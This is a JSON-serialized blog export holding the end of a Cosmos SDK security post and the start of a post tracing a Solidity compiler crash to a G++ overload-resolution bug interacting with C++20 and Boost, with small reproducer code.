NewKVStoreKey",{"type":25,"tag":216,"props":93576,"children":93577},{"style":6958},[93578],{"type":31,"value":1844},{"type":25,"tag":216,"props":93580,"children":93581},{"style":6941},[93582],{"type":31,"value":52461},{"type":25,"tag":216,"props":93584,"children":93585},{"style":6958},[93586],{"type":31,"value":7101},{"type":25,"tag":216,"props":93588,"children":93589},{"class":6916,"line":7104},[93590],{"type":25,"tag":216,"props":93591,"children":93592},{"style":6958},[93593],{"type":31,"value":7305},{"type":25,"tag":216,"props":93595,"children":93596},{"class":6916,"line":7210},[93597],{"type":25,"tag":216,"props":93598,"children":93599},{"emptyLinePlaceholder":16},[93600],{"type":31,"value":7636},{"type":25,"tag":216,"props":93602,"children":93603},{"class":6916,"line":7238},[93604,93608],{"type":25,"tag":216,"props":93605,"children":93606},{"style":6967},[93607],{"type":31,"value":20941},{"type":25,"tag":216,"props":93609,"children":93610},{"style":6941},[93611],{"type":31,"value":93612}," keys\n",{"type":25,"tag":216,"props":93614,"children":93615},{"class":6916,"line":7251},[93616],{"type":25,"tag":216,"props":93617,"children":93618},{"style":6958},[93619],{"type":31,"value":7868},{"type":25,"tag":38,"props":93621,"children":93622},{},[93623,93625,93630,93632,93637,93639,93644],{"type":31,"value":93624},"Thanks to the diligence of core developers, checks are now enforced and the ",{"type":25,"tag":82,"props":93626,"children":93628},{"className":93627},[],[93629],{"type":31,"value":82428},{"type":31,"value":93631}," will refuse to run if any ",{"type":25,"tag":82,"props":93633,"children":93635},{"className":93634},[],[93636],{"type":31,"value":88942},{"type":31,"value":93638}," keys are prefix of each other. This implementation alleviates developers from having to worry about key collisions on the ",{"type":25,"tag":82,"props":93640,"children":93642},{"className":93641},[],[93643],{"type":31,"value":88942},{"type":31,"value":93645}," level.",{"type":25,"tag":38,"props":93647,"children":93648},{},[93649,93651,93658],{"type":31,"value":93650},"Additional storage key issues like subtle bugs in the Cosmos-SDK have resulted in ",{"type":25,"tag":162,"props":93652,"children":93655},{"href":93653,"rel":93654},"https://github.com/cosmos/cosmos-sdk/issues/12661",[166],[93656],{"type":31,"value":93657},"incorrect iterator behavior",{"type":31,"value":179},{"type":25,"tag":38,"props":93660,"children":93661},{},[93662,93664,93671],{"type":31,"value":93663},"Notably, gradual adoption of the ",{"type":25,"tag":162,"props":93665,"children":93668},{"href":93666,"rel":93667},"https://github.com/cosmos/cosmos-sdk/tree/def657dafa615cb8e8bb072452663893157e073a/collections",[166],[93669],{"type":31,"value":93670},"collections",{"type":31,"value":93672}," storage helpers since Cosmos v0.50 has made it a lot more difficult to write buggy code. This demonstrates the importance of keeping up to date with the latest SDK development to leverage architectural security improvements.",{"type":25,"tag":26,"props":93674,"children":93675},{"id":32886},[93676],{"type":31,"value":22901},{"type":25,"tag":38,"props":93678,"children":93679},{},[93680],{"type":31,"value":93681},"The Cosmos SDK is a powerful tool for those who want to create custom blockchains. However, this flexibility brings about great responsibility. Developers must pay close attention to nuances, as these can expose a large number of potential attack surfaces.",{"type":25,"tag":38,"props":93683,"children":93684},{},[93685],{"type":31,"value":93686},"To recap, we discussed some of the more basic parts of Cosmos-SDK, showcasing common mistakes developers tend to make. Yet, it is important to note that we've only covered the tip of the iceberg. Other attack surfaces, such as authentications in relation to the IBC interface, are fundamentals absolutely worth looking into.",{"type":25,"tag":9310,"props":93688,"children":93689},{},[93690],{"type":31,"value":9314},{"title":7,"searchDepth":6763,"depth":6763,"links":93692},[93693,93694,93697,93700,93703,93706,93709,93712],{"id":32969,"depth":6763,"text":32972},{"id":79847,"depth":6763,"text":79850,"children":93695},[93696],{"id":80652,"depth":6772,"text":80655},{"id":81248,"depth":6763,"text":81251,"children":93698},[93699],{"id":81897,"depth":6772,"text":80655},{"id":82394,"depth":6763,"text":82397,"children":93701},[93702],{"id":83694,"depth":6772,"text":80655},{"id":85038,"depth":6763,"text":85041,"children":93704},[93705],{"id":85576,"depth":6772,"text":80655},{"id":87095,"depth":6763,"text":87098,"children":93707},[93708],{"id":87975,"depth":6772,"text":80655},{"id":88928,"depth":6763,"text":88931,"children":93710},[93711],{"id":93354,"depth":6772,"text":80655},{"id":32886,"depth":6763,"text":22901},"content:blog:2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security",{"_path":93717,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":93718,"description":93719,"author":93720,"image":93721,"date":93723,"tags":93724,"isFeatured":16,"onBlogPage":16,"body":93725,"_type":6792,"_id":96434,"_source":6794,"_file":96435,"_stem":96436,"_extension":6797},"/blog/2025-08-11-compiler-bug-causes-compiler-bug","Compiler Bug Causes Compiler Bug: How a 12-Year-Old G++ Bug Took Down Solidity","A subtle G++ bug from 2012, C++20's new comparison rules, and legacy Boost code can collide to crash Solidity's compiler on valid code. We unpack the surprising chain reaction and how to fix it.","kiprey",{"src":93722,"height":17574,"width":17574},"/posts/compiler-bug-causes-compiler-bug/title.png","2025-08-11",[8416,32964],{"type":22,"children":93726,"toc":96418},[93727,93732,93869,93874,93879,93884,93889,94002,94007,94012,94017,94057,94070,94075,94093,94098,94101,94107,94121,94134,94139,94152,94157,94169,94182,94187,94190,94196,94202,94259,94264,94270,94284,94319,94327,94335,94355,94361,94366,94806,94814,94858,94863,94871,94879,94918,94923,94931,94936,94939,94945,94951,94976,94988,95015,95048,95053,95056,95062,95081,95599,95612,95630,95653,95664,95669,95772,95777,95782,95796,95801,95877,95895,95900,95903,95909,95921,95933,96273,96278,96296,96301,96304,96310,96315,96333,96353,96356,96362,96381,96384,96388,96393,96404,96409,96414],{"type":25,"tag":38,"props":93728,"children":93729},{},[93730],{"type":31,"value":93731},"Compilers aren't supposed to crash — especially not when compiling perfectly valid code like this:",{"type":25,"tag":206,"props":93733,"children":93735},{"code":93734,"language":8416,"meta":7,"className":8417,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n    function a() public pure returns (uint256) {\n        return 1 ** 2;\n    }\n}\n",[93736],{"type":25,"tag":82,"props":93737,"children":93738},{"__ignoreMap":7},[93739,93747,93765,93772,93789,93831,93855,93862],{"type":25,"tag":216,"props":93740,"children":93741},{"class":6916,"line":6917},[93742],{"type":25,"tag":216,"props":93743,"children":93744},{"style":6921},[93745],{"type":31,"value":93746},"// SPDX-License-Identifier: UNLICENSED\n",{"type":25,"tag":216,"props":93748,"children":93749},{"class":6916,"line":6763},[93750,93755,93760],{"type":25,"tag":216,"props":93751,"children":93752},{"style":6967},[93753],{"type":31,"value":93754},"pragma",{"type":25,"tag":216,"props":93756,"children":93757},{"style":6930},[93758],{"type":31,"value":93759}," solidity",{"type":25,"tag":216,"props":93761,"children":93762},{"style":6958},[93763],{"type":31,"value":93764}," ^0.8.25;\n",{"type":25,"tag":216,"props":93766,"children":93767},{"class":6916,"line":6772},[93768],{"type":25,"tag":216,"props":93769,"children":93770},{"emptyLinePlaceholder":16},[93771],{"type":31,"value":7636},{"type":25,"tag":216,"props":93773,"children":93774},{"class":6916,"line":6999},[93775,93780,93785],{"type":25,"tag":216,"props":93776,"children":93777},{"style":6930},[93778],{"type":31,"value":93779},"contract",{"type":25,"tag":216,"props":93781,"children":93782},{"style":7369},[93783],{"type":31,"value":93784}," A",{"type":25,"tag":216,"props":93786,"children":93787},{"style":6958},[93788],{"type":31,"value":7235},{"type":25,"tag":216,"props":93790,"children":93791},{"class":6916,"line":7104},[93792,93797,93802,93806,93810,93815,93819,93823,93827],{"type":25,"tag":216,"props":93793,"children":93794},{"style":6930},[93795],{"type":31,"value":93796},"    function",{"type":25,"tag":216,"props":93798,"children":93799},{"style":7041},[93800],{"type":31,"value":93801}," a",{"type":25,"tag":216,"props":93803,"children":93804},{"style":6958},[93805],{"type":31,"value":17994},{"type":25,"tag":216,"props":93807,"children":93808},{"style":6930},[93809],{"type":31,"value":65637},{"type":25,"tag":216,"props":93811,"children":93812},{"style":6930},[93813],{"type":31,"value":93814}," pure",{"type":25,"tag":216,"props":93816,"children":93817},{"style":6967},[93818],{"type":31,"value":79959},{"type":25,"tag":216,"props":93820,"children":93821},{"style":6958},[93822],{"type":31,"value":7010},{"type":25,"tag":216,"props":93824,"children":93825},{"style":7369},[93826],{"type":31,"value":50130},{"type":25,"tag":216,"props":93828,"children":93829},{"style":6958},[93830],{"type":31,"value":18755},{"type":25,"tag":216,"props":93832,"children":93833},{"class":6916,"line":7210},[93834,93838,93842,93847,93851],{"type":25,"tag":216,"props":93835,"children":93836},{"style":6967},[93837],{"type":31,"value":19696},{"type":25,"tag":216,"props":93839,"children":93840},{"style":6983},[93841],{"type":31,"value":8465},{"type":25,"tag":216,"props":93843,"children":93844},{"style":6947},[93845],{"type":31,"value":93846}," **",{"type":25,"tag":216,"props":93848,"children":93849},{"style":6983},[93850],{"type":31,"value":11880},{"type":25,"tag":216,"props":93852,"children":93853},{"style":6958},[93854],{"type":31,"value":6961},{"type":25,"tag":216,"props":93856,"children":93857},{"class":6916,"line":7238},[93858],{"type":25,"tag":216,"props":93859,"children":93860},{"style":6958},[93861],{"type":31,"value":7305},{"type":25,"tag":216,"props":93863,"children":93864},{"class":6916,"line":7251},[93865],{"type":25,"tag":216,"props":93866,"children":93867},{"style":6958},[93868],{"type":31,"value":7868},{"type":25,"tag":38,"props":93870,"children":93871},{},[93872],{"type":31,"value":93873},"Yet running Solidity's compiler (solc) on this file on a standard Ubuntu 22.04 system (G++ 11.4, Boost 1.74) causes an immediate segmentation fault.",{"type":25,"tag":38,"props":93875,"children":93876},{},[93877],{"type":31,"value":93878},"At first, this seemed absurd. The code just returns 1 to the power of 2 — no memory tricks, unsafe casting, or undefined behavior.",{"type":25,"tag":38,"props":93880,"children":93881},{},[93882],{"type":31,"value":93883},"And yet, it crashes.",{"type":25,"tag":38,"props":93885,"children":93886},{},[93887],{"type":31,"value":93888},"Another minimal example?",{"type":25,"tag":206,"props":93890,"children":93892},{"code":93891,"language":8416,"meta":7,"className":8417,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n    function a() public pure {\n        uint256[1] data;\n    }\n}\n",[93893],{"type":25,"tag":82,"props":93894,"children":93895},{"__ignoreMap":7},[93896,93903,93918,93925,93940,93967,93988,93995],{"type":25,"tag":216,"props":93897,"children":93898},{"class":6916,"line":6917},[93899],{"type":25,"tag":216,"props":93900,"children":93901},{"style":6921},[93902],{"type":31,"value":93746},{"type":25,"tag":216,"props":93904,"children":93905},{"class":6916,"line":6763},[93906,93910,93914],{"type":25,"tag":216,"props":93907,"children":93908},{"style":6967},[93909],{"type":31,"value":93754},{"type":25,"tag":216,"props":93911,"children":93912},{"style":6930},[93913],{"type":31,"value":93759},{"type":25,"tag":216,"props":93915,"children":93916},{"style":6958},[93917],{"type":31,"value":93764},{"type":25,"tag":216,"props":93919,"children":93920},{"class":6916,"line":6772},[93921],{"type":25,"tag":216,"props":93922,"children":93923},{"emptyLinePlaceholder":16},[93924],{"type":31,"value":7636},{"type":25,"tag":216,"props":93926,"children":93927},{"class":6916,"line":6999},[93928,93932,93936],{"type":25,"tag":216,"props":93929,"children":93930},{"style":6930},[93931],{"type":31,"value":93779},{"type":25,"tag":216,"props":93933,"children":93934},{"style":7369},[93935],{"type":31,"value":93784},{"type":25,"tag":216,"props":93937,"children":93938},{"style":6958},[93939],{"type":31,"value":7235},{"type":25,"tag":216,"props":93941,"children":93942},{"class":6916,"line":7104},[93943,93947,93951,93955,93959,93963],{"type":25,"tag":216,"props":93944,"children":93945},{"style":6930},[93946],{"type":31,"value":93796},{"type":25,"tag":216,"props":93948,"children":93949},{"style":7041},[93950],{"type":31,"value":93801},{"type":25,"tag":216,"props":93952,"children":93953},{"style":6958},[93954],{"type":31,"value":17994},{"type":25,"tag":216,"props":93956,"children":93957},{"style":6930},[93958],{"type":31,"value":65637},{"type":25,"tag":216,"props":93960,"children":93961},{"style":6930},[93962],{"type":31,"value":93814},{"type":25,"tag":216,"props":93964,"children":93965},{"style":6958},[93966],{"type":31,"value":7235},{"type":25,"tag":216,"props":93968,"children":93969},{"class":6916,"line":7210},[93970,93975,93979,93983],{"type":25,"tag":216,"props":93971,"children":93972},{"style":7369},[93973],{"type":31,"value":93974},"        uint256",{"type":25,"tag":216,"props":93976,"children":93977},{"style":6958},[93978],{"type":31,"value":7695},{"type":25,"tag":216,"props":93980,"children":93981},{"style":6983},[93982],{"type":31,"value":184},{"type":25,"tag":216,"props":93984,"children":93985},{"style":6958},[93986],{"type":31,"value":93987},"] data;\n",{"type":25,"tag":216,"props":93989,"children":93990},{"class":6916,"line":7238},[93991],{"type":25,"tag":216,"props":93992,"children":93993},{"style":6958},[93994],{"type":31,"value":7305},{"type":25,"tag":216,"props":93996,"children":93997},{"class":6916,"line":7251},[93998],{"type":25,"tag":216,"props":93999,"children":94000},{"style":6958},[94001],{"type":31,"value":7868},{"type":25,"tag":38,"props":94003,"children":94004},{},[94005],{"type":31,"value":94006},"Still crashes.",{"type":25,"tag":38,"props":94008,"children":94009},{},[94010],{"type":31,"value":94011},"So what’s going on?",{"type":25,"tag":38,"props":94013,"children":94014},{},[94015],{"type":31,"value":94016},"We traced it down to a seemingly unrelated C++ line deep in the compiler backend:",{"type":25,"tag":206,"props":94018,"children":94020},{"code":94019,"language":33066,"meta":7,"className":33064,"style":7},"if (*lengthValue == 0) { ... }\n",[94021],{"type":25,"tag":82,"props":94022,"children":94023},{"__ignoreMap":7},[94024],{"type":25,"tag":216,"props":94025,"children":94026},{"class":6916,"line":6917},[94027,94031,94035,94039,94044,94048,94052],{"type":25,"tag":216,"props":94028,"children":94029},{"style":6967},[94030],{"type":31,"value":19531},{"type":25,"tag":216,"props":94032,"children":94033},{"style":6958},[94034],{"type":31,"value":7010},{"type":25,"tag":216,"props":94036,"children":94037},{"style":6947},[94038],{"type":31,"value":8513},{"type":25,"tag":216,"props":94040,"children":94041},{"style":6958},[94042],{"type":31,"value":94043},"lengthValue ",{"type":25,"tag":216,"props":94045,"children":94046},{"style":6947},[94047],{"type":31,"value":12522},{"type":25,"tag":216,"props":94049,"children":94050},{"style":6983},[94051],{"type":31,"value":6986},{"type":25,"tag":216,"props":94053,"children":94054},{"style":6958},[94055],{"type":31,"value":94056},") { ... }\n",{"type":25,"tag":38,"props":94058,"children":94059},{},[94060,94062,94068],{"type":31,"value":94061},"That single comparison — a ",{"type":25,"tag":82,"props":94063,"children":94065},{"className":94064},[],[94066],{"type":31,"value":94067},"boost::rational",{"type":31,"value":94069}," compared to 0 — causes infinite recursion in G++ \u003C 14 when compiled under C++20. And the resulting stack overflow crashes solc.",{"type":25,"tag":38,"props":94071,"children":94072},{},[94073],{"type":31,"value":94074},"This post unpacks how this happened — and why none of the individual components are technically \"broken\":",{"type":25,"tag":2033,"props":94076,"children":94077},{},[94078,94083,94088],{"type":25,"tag":2037,"props":94079,"children":94080},{},[94081],{"type":31,"value":94082},"A 12-year-old overload resolution bug in G++",{"type":25,"tag":2037,"props":94084,"children":94085},{},[94086],{"type":31,"value":94087},"An outdated symmetric comparison pattern in Boost",{"type":25,"tag":2037,"props":94089,"children":94090},{},[94091],{"type":31,"value":94092},"A subtle but impactful rewrite rule in C++20",{"type":25,"tag":38,"props":94094,"children":94095},{},[94096],{"type":31,"value":94097},"Put together, they form a perfect storm — one that takes down Solidity compilation on default Linux setups, even though your code is perfectly fine.",{"type":25,"tag":22747,"props":94099,"children":94100},{},[],{"type":25,"tag":26,"props":94102,"children":94104},{"id":94103},"background-the-setup",[94105],{"type":31,"value":94106},"Background: The Setup",{"type":25,"tag":38,"props":94108,"children":94109},{},[94110,94112,94119],{"type":31,"value":94111},"If you follow the ",{"type":25,"tag":162,"props":94113,"children":94116},{"href":94114,"rel":94115},"https://docs.soliditylang.org/en/v0.8.30/installing-solidity.html#building-from-source",[166],[94117],{"type":31,"value":94118},"Solidity build documentation (v0.8.30)",{"type":31,"value":94120},", you'll see it recommends:",{"type":25,"tag":2033,"props":94122,"children":94123},{},[94124,94129],{"type":25,"tag":2037,"props":94125,"children":94126},{},[94127],{"type":31,"value":94128},"Boost ≥ 1.67",{"type":25,"tag":2037,"props":94130,"children":94131},{},[94132],{"type":31,"value":94133},"GCC ≥ 11",{"type":25,"tag":38,"props":94135,"children":94136},{},[94137],{"type":31,"value":94138},"Ubuntu 22.04, for example, ships with:",{"type":25,"tag":2033,"props":94140,"children":94141},{},[94142,94147],{"type":25,"tag":2037,"props":94143,"children":94144},{},[94145],{"type":31,"value":94146},"G++ 11.4.0",{"type":25,"tag":2037,"props":94148,"children":94149},{},[94150],{"type":31,"value":94151},"Boost 1.74.0",{"type":25,"tag":38,"props":94153,"children":94154},{},[94155],{"type":31,"value":94156},"So far, so good.",{"type":25,"tag":38,"props":94158,"children":94159},{},[94160,94162,94167],{"type":31,"value":94161},"However, Solidity enabled ",{"type":25,"tag":9267,"props":94163,"children":94164},{},[94165],{"type":31,"value":94166},"C++20",{"type":31,"value":94168}," in January 2025:",{"type":25,"tag":34,"props":94170,"children":94171},{},[94172],{"type":25,"tag":38,"props":94173,"children":94174},{},[94175],{"type":25,"tag":162,"props":94176,"children":94179},{"href":94177,"rel":94178},"https://github.com/ethereum/solidity/commit/233a5081835a04939ccf85dfb5286c0b53d23c66",[166],[94180],{"type":31,"value":94181},"Enable C++20 in Solidity",{"type":25,"tag":38,"props":94183,"children":94184},{},[94185],{"type":31,"value":94186},"This wasn't accompanied by an update to the versions of dependencies in the documentation. As we'll soon see, that's what opened the trapdoor.",{"type":25,"tag":22747,"props":94188,"children":94189},{},[],{"type":25,"tag":26,"props":94191,"children":94193},{"id":94192},"part-i-a-12-year-old-g-bug-in-overload-resolution",[94194],{"type":31,"value":94195},"Part I: A 12-Year-Old G++ Bug in Overload Resolution",{"type":25,"tag":607,"props":94197,"children":94199},{"id":94198},"whats-overload-resolution",[94200],{"type":31,"value":94201},"What’s Overload Resolution?",{"type":25,"tag":38,"props":94203,"children":94204},{},[94205,94207,94213,94215,94221,94223,94228,94230,94235,94237,94243,94245,94250,94251,94257],{"type":31,"value":94206},"In C++, when you write an expression like ",{"type":25,"tag":82,"props":94208,"children":94210},{"className":94209},[],[94211],{"type":31,"value":94212},"a == b",{"type":31,"value":94214},", the compiler chooses among available ",{"type":25,"tag":82,"props":94216,"children":94218},{"className":94217},[],[94219],{"type":31,"value":94220},"operator==",{"type":31,"value":94222}," implementations by comparing their ",{"type":25,"tag":9267,"props":94224,"children":94225},{},[94226],{"type":31,"value":94227},"match quality",{"type":31,"value":94229},". A ",{"type":25,"tag":9267,"props":94231,"children":94232},{},[94233],{"type":31,"value":94234},"member function",{"type":31,"value":94236}," like ",{"type":25,"tag":82,"props":94238,"children":94240},{"className":94239},[],[94241],{"type":31,"value":94242},"a.operator==(b)",{"type":31,"value":94244}," usually has higher priority than a ",{"type":25,"tag":9267,"props":94246,"children":94247},{},[94248],{"type":31,"value":94249},"non-member function",{"type":31,"value":94236},{"type":25,"tag":82,"props":94252,"children":94254},{"className":94253},[],[94255],{"type":31,"value":94256},"operator==(a, b)",{"type":31,"value":94258}," — unless the types differ too much or are ambiguous.",{"type":25,"tag":38,"props":94260,"children":94261},{},[94262],{"type":31,"value":94263},"That’s the rule. But G++ didn’t always follow it.",{"type":25,"tag":607,"props":94265,"children":94267},{"id":94266},"the-bug",[94268],{"type":31,"value":94269},"The Bug",{"type":25,"tag":38,"props":94271,"children":94272},{},[94273,94275,94282],{"type":31,"value":94274},"In 2012, a bug was filed: ",{"type":25,"tag":162,"props":94276,"children":94279},{"href":94277,"rel":94278},"https://gcc.gnu.org/bugzilla/show_bug.cgi?id=53499",[166],[94280],{"type":31,"value":94281},"GCC Bug 53499 – overload resolution favors non-member function",{"type":31,"value":94283},". The issue? In expressions where:",{"type":25,"tag":2033,"props":94285,"children":94286},{},[94287,94307],{"type":25,"tag":2037,"props":94288,"children":94289},{},[94290,94292,94298,94300,94305],{"type":31,"value":94291},"A class ",{"type":25,"tag":82,"props":94293,"children":94295},{"className":94294},[],[94296],{"type":31,"value":94297},"rational\u003CT>",{"type":31,"value":94299}," has a templated ",{"type":25,"tag":82,"props":94301,"children":94303},{"className":94302},[],[94304],{"type":31,"value":94220},{"type":31,"value":94306}," member function",{"type":25,"tag":2037,"props":94308,"children":94309},{},[94310,94312,94318],{"type":31,"value":94311},"There's also a more generic free ",{"type":25,"tag":82,"props":94313,"children":94315},{"className":94314},[],[94316],{"type":31,"value":94317},"operator==(rational\u003CT>, U)",{"type":31,"value":42171},{"type":25,"tag":38,"props":94320,"children":94321},{},[94322],{"type":25,"tag":9267,"props":94323,"children":94324},{},[94325],{"type":31,"value":94326},"Clang correctly chooses the member function.",{"type":25,"tag":38,"props":94328,"children":94329},{},[94330],{"type":25,"tag":9267,"props":94331,"children":94332},{},[94333],{"type":31,"value":94334},"G++ (before v14) chooses the non-member function.",{"type":25,"tag":38,"props":94336,"children":94337},{},[94338,94340,94345,94347,94354],{"type":31,"value":94339},"Why? Because G++ mishandles ",{"type":25,"tag":9267,"props":94341,"children":94342},{},[94343],{"type":31,"value":94344},"templated conversion + non-exact match",{"type":31,"value":94346},", overvaluing a non-member function with worse match quality. It does not correctly apply the overload resolution ranking rules defined in ",{"type":25,"tag":162,"props":94348,"children":94351},{"href":94349,"rel":94350},"https://cplusplus.github.io/CWG/issues/532.html",[166],[94352],{"type":31,"value":94353},"CWG532: Member/nonmember operator template partial ordering",{"type":31,"value":179},{"type":25,"tag":607,"props":94356,"children":94358},{"id":94357},"a-minimal-reproducer",[94359],{"type":31,"value":94360},"A Minimal Reproducer",{"type":25,"tag":38,"props":94362,"children":94363},{},[94364],{"type":31,"value":94365},"Let’s see this in action:",{"type":25,"tag":206,"props":94367,"children":94369},{"code":94368,"language":33066,"meta":7,"className":33064,"style":7},"#include \u003Ciostream>\n\ntemplate \u003Ctypename IntType>\nclass rational {\npublic:\n    template \u003Cclass T>\n    bool operator==(const T& i) const {\n        std::cout \u003C\u003C \"clang++ resolved member\" \u003C\u003C std::endl;\n        return true;\n    }\n};\n\ntemplate \u003Cclass Arg, class IntType>\nbool operator==(const rational\u003CIntType>& a, const Arg& b) {\n    std::cout \u003C\u003C \"g++ \u003C14 resolved non-member\" \u003C\u003C std::endl;\n    return false;\n}\n\nint main() {\n    rational\u003Cint> r;\n    return r == 0;\n}\n",[94370],{"type":25,"tag":82,"props":94371,"children":94372},{"__ignoreMap":7},[94373,94386,94393,94418,94434,94442,94466,94511,94539,94554,94561,94568,94575,94611,94680,94705,94720,94727,94734,94750,94775,94799],{"type":25,"tag":216,"props":94374,"children":94375},{"class":6916,"line":6917},[94376,94381],{"type":25,"tag":216,"props":94377,"children":94378},{"style":6967},[94379],{"type":31,"value":94380},"#include",{"type":25,"tag":216,"props":94382,"children":94383},{"style":8199},[94384],{"type":31,"value":94385}," \u003Ciostream>\n",{"type":25,"tag":216,"props":94387,"children":94388},{"class":6916,"line":6763},[94389],{"type":25,"tag":216,"props":94390,"children":94391},{"emptyLinePlaceholder":16},[94392],{"type":31,"value":7636},{"type":25,"tag":216,"props":94394,"children":94395},{"class":6916,"line":6772},[94396,94400,94404,94409,94414],{"type":25,"tag":216,"props":94397,"children":94398},{"style":6930},[94399],{"type":31,"value":70179},{"type":25,"tag":216,"props":94401,"children":94402},{"style":6958},[94403],{"type":31,"value":12666},{"type":25,"tag":216,"props":94405,"children":94406},{"style":6930},[94407],{"type":31,"value":94408},"typename",{"type":25,"tag":216,"props":94410,"children":94411},{"style":7369},[94412],{"type":31,"value":94413}," IntType",{"type":25,"tag":216,"props":94415,"children":94416},{"style":6958},[94417],{"type":31,"value":9937},{"type":25,"tag":216,"props":94419,"children":94420},{"class":6916,"line":6999},[94421,94425,94430],{"type":25,"tag":216,"props":94422,"children":94423},{"style":6930},[94424],{"type":31,"value":74374},{"type":25,"tag":216,"props":94426,"children":94427},{"style":7369},[94428],{"type":31,"value":94429}," rational",{"type":25,"tag":216,"props":94431,"children":94432},{"style":6958},[94433],{"type":31,"value":7235},{"type":25,"tag":216,"props":94435,"children":94436},{"class":6916,"line":7104},[94437],{"type":25,"tag":216,"props":94438,"children":94439},{"style":6930},[94440],{"type":31,"value":94441},"public:\n",{"type":25,"tag":216,"props":94443,"children":94444},{"class":6916,"line":7210},[94445,94450,94454,94458,94462],{"type":25,"tag":216,"props":94446,"children":94447},{"style":6930},[94448],{"type":31,"value":94449},"    template",{"type":25,"tag":216,"props":94451,"children":94452},{"style":6958},[94453],{"type":31,"value":12666},{"type":25,"tag":216,"props":94455,"children":94456},{"style":6930},[94457],{"type":31,"value":74374},{"type":25,"tag":216,"props":94459,"children":94460},{"style":7369},[94461],{"type":31,"value":9864},{"type":25,"tag":216,"props":94463,"children":94464},{"style":6958},[94465],{"type":31,"value":9937},{"type":25,"tag":216,"props":94467,"children":94468},{"class":6916,"line":7238},[94469,94473,94478,94483,94487,94491,94495,94499,94503,94507],{"type":25,"tag":216,"props":94470,"children":94471},{"style":6930},[94472],{"type":31,"value":50435},{"type":25,"tag":216,"props":94474,"children":94475},{"style":6930},[94476],{"type":31,"value":94477}," operator",{"type":25,"tag":216,"props":94479,"children":94480},{"style":6958},[94481],{"type":31,"value":94482},"==(",{"type":25,"tag":216,"props":94484,"children":94485},{"style":6930},[94486],{"type":31,"value":13605},{"type":25,"tag":216,"props":94488,"children":94489},{"style":7369},[94490],{"type":31,"value":9864},{"type":25,"tag":216,"props":94492,"children":94493},{"style":6930},[94494],{"type":31,"value":7053},{"type":25,"tag":216,"props":94496,"children":94497},{"style":6941},[94498],{"type":31,"value":7348},{"type":25,"tag":216,"props":94500,"children":94501},{"style":6958},[94502],{"type":31,"value":7030},{"type":25,"tag":216,"props":94504,"children":94505},{"style":6930},[94506],{"type":31,"value":13605},{"type":25,"tag":216,"props":94508,"children":94509},{"style":6958},[94510],{"type":31,"value":7235},{"type":25,"tag":216,"props":94512,"children":94513},{"class":6916,"line":7251},[94514,94519,94524,94529,94534],{"type":25,"tag":216,"props":94515,"children":94516},{"style":6958},[94517],{"type":31,"value":94518},"        std::cout ",{"type":25,"tag":216,"props":94520,"children":94521},{"style":6947},[94522],{"type":31,"value":94523},"\u003C\u003C",{"type":25,"tag":216,"props":94525,"children":94526},{"style":8199},[94527],{"type":31,"value":94528}," \"clang++ resolved member\"",{"type":25,"tag":216,"props":94530,"children":94531},{"style":6947},[94532],{"type":31,"value":94533}," \u003C\u003C",{"type":25,"tag":216,"props":94535,"children":94536},{"style":6958},[94537],{"type":31,"value":94538}," std::endl;\n",{"type":25,"tag":216,"props":94540,"children":94541},{"class":6916,"line":7269},[94542,94546,94550],{"type":25,"tag":216,"props":94543,"children":94544},{"style":6967},[94545],{"type":31,"value":19696},{"type":25,"tag":216,"props":94547,"children":94548},{"style":6930},[94549],{"type":31,"value":16419},{"type":25,"tag":216,"props":94551,"children":94552},{"style":6958},[94553],{"type":31,"value":6961},{"type":25,"tag":216,"props":94555,"children":94556},{"class":6916,"line":7290},[94557],{"type":25,"tag":216,"props":94558,"children":94559},{"style":6958},[94560],{"type":31,"value":7305},{"type":25,"tag":216,"props":94562,"children":94563},{"class":6916,"line":7299},[94564],{"type":25,"tag":216,"props":94565,"children":94566},{"style":6958},[94567],{"type":31,"value":20530},{"type":25,"tag":216,"props":94569,"children":94570},{"class":6916,"line":7551},[94571],{"type":25,"tag":216,"props":94572,"children":94573},{"emptyLinePlaceholder":16},[94574],{"type":31,"value":7636},{"type":25,"tag":216,"props":94576,"children":94577},{"class":6916,"line":7568},[94578,94582,94586,94590,94595,94599,94603,94607],{"type":25,"tag":216,"props":94579,"children":94580},{"style":6930},[94581],{"type":31,"value":70179},{"type":25,"tag":216,"props":94583,"children":94584},{"style":6958},[94585],{"type":31,"value":12666},{"type":25,"tag":216,"props":94587,"children":94588},{"style":6930},[94589],{"type":31,"value":74374},{"type":25,"tag":216,"props":94591,"children":94592},{"style":7369},[94593],{"type":31,"value":94594}," Arg",{"type":25,"tag":216,"props":94596,"children":94597},{"style":6958},[94598],{"type":31,"value":7020},{"type":25,"tag":216,"props":94600,"children":94601},{"style":6930},[94602],{"type":31,"value":74374},{"type":25,"tag":216,"props":94604,"children":94605},{"style":7369},[94606],{"type":31,"value":94413},{"type":25,"tag":216,"props":94608,"children":94609},{"style":6958},[94610],{"type":31,"value":9937},{"type":25,"tag":216,"props":94612,"children":94613},{"class":6916,"line":7585},[94614,94618,94622,94626,94630,94634,94638,94643,94647,94651,94655,94659,94663,94667,94671,94676],{"type":25,"tag":216,"props":94615,"children":94616},{"style":6930},[94617],{"type":31,"value":33640},{"type":25,"tag":216,"props":94619,"children":94620},{"style":6930},[94621],{"type":31,"value":94477},{"type":25,"tag":216,"props":94623,"children":94624},{"style":6958},[94625],{"type":31,"value":94482},{"type":25,"tag":216,"props":94627,"children":94628},{"style":6930},[94629],{"type":31,"value":13605},{"type":25,"tag":216,"props":94631,"children":94632},{"style":7369},[94633],{"type":31,"value":94429},{"type":25,"tag":216,"props":94635,"children":94636},{"style":6958},[94637],{"type":31,"value":9751},{"type":25,"tag":216,"props":94639,"children":94640},{"style":7369},[94641],{"type":31,"value":94642},"IntType",{"type":25,"tag":216,"props":94644,"children":94645},{"style":6958},[94646],{"type":31,"value":5896},{"type":25,"tag":216,"props":94648,"children":94649},{"style":6930},[94650],{"type":31,"value":7053},{"type":25,"tag":216,"props":94652,"children":94653},{"style":6941},[94654],{"type":31,"value":93801},{"type":25,"tag":216,"props":94656,"children":94657},{"style":6958},[94658],{"type":31,"value":7020},{"type":25,"tag":216,"props":94660,"children":94661},{"style":6930},[94662],{"type":31,"value":13605},{"type":25,"tag":216,"props":94664,"children":94665},{"style":7369},[94666],{"type":31,"value":94594},{"type":2